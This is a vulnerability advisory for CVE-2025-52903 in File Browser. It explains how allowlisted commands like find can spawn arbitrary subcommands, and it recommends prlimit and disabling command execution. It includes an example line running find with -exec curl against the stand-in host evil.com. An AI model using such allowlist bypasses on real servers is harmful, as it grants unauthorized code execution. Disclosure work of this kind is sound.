CVE-2025-52903: File Browser Allows Execution of Shell Commands That Can Spawn Other Commands
Summary ##
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact ##
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description ##
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website <https://gtfobins.github.io> gives a comprehensive overview:
<https://gtfobins.github.io/gtfobins/cpio> <https://gtfobins.github.io/gtfobins/find> <https://gtfobins.github.io/gtfobins/sed> <https://gtfobins.github.io/gtfobins/git> <https://gtfobins.github.io/gtfobins/env>
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept ##
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
!image
Recommended Countermeasures ##
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
bash $ find . -exec curl http://evil.com {} \; <HTML> <HEAD> [...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \; find: cannot fork: Resource temporarily unavailable
It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline ##
2025-03-26 Identified the vulnerability in version 2.32.0 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-25 CVE ID assigned by GitHub 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References ##
prlimit "Distroless" Container Images. Credits ##
Mathias Tausig (SBA Research)
Other sources
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In version 2.32.0, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Until this issue is fixed, the maintainers recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration. As a defense-in-depth measure, organizations not requiring command execution should operate the Filebrowser from a distroless container image. A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. The fix is tracked on pull request 5199.
— NVD
File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-52903?
CVE-2025-52903 has a medium severity level due to its potential for command execution exploitation.
How do I fix CVE-2025-52903?
To fix CVE-2025-52903, update File Browser to the latest version where the command execution feature has been secured.
What systems are affected by CVE-2025-52903?
CVE-2025-52903 affects File Browser version 2.32.0 and potentially earlier versions.
What kind of vulnerability is CVE-2025-52903?
CVE-2025-52903 is a command execution vulnerability that allows for the running of predefined shell commands.
Can CVE-2025-52903 lead to unauthorized access?
Yes, CVE-2025-52903 can potentially be exploited to execute unauthorized commands, compromising system security.